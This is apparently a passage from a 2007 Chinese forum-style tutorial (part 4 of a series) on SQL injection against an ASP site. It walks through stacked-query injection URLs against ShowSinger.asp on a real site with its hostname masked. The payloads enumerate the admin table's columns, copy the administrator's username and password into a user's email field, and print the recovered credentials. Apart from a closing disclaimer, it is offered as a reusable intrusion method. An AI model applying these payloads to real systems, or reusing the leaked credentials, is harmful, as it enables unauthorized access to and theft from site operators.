科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道有孔就入SQL Injection的深入探讨(4)

有孔就入SQL Injection的深入探讨(4)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序

作者:heha 来源:赛迪网技术社区 2007年9月7日

关键字: Injection SQL Server SQL Server 各版本 数据库

  • 评论
  • 分享微博
  • 分享邮件

得到第1个字段为:id

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update 
[user] set email=(select top 1 col_name(object_id(admin),2) 
from admin) where id=103534;--

得到第2个字段为:username

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update 
[user] set email=(select top 1 col_name(object_id(admin),3)
 from admin) where id=103534;--

得到第2个字段为:password

到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就比较省力了,首先拿管理员的id值,这个比较简单,我就不再详细说了。

我们拿到的id值是44

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update 
[user] set email=(select top 1 username from admin 
where id=44) where id=103534;--

将该管理员的用户名更新到email项 ,拿到的username为:gscdjmp3

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
 [user] set email=(select top 1 password from admin
 where id=44) where id=103534;--

将该管理员的密码更新到email项,拿到的password为:XZDC9212CDJ

怎么样,拿到密码了吧?

四、总结

在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦,会因为猜不到结构而放弃,这时候大家不妨试试这个方法,或许对你有所帮助,这里我们通过更新我们的一个注册用户的信息来拿到结果,如果是新闻系统的话,可以通过更新到某个新闻的title来拿结果。最后,值得提出的是,请大家不要拿该方法去恶意攻击其他的程序,谢谢!

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章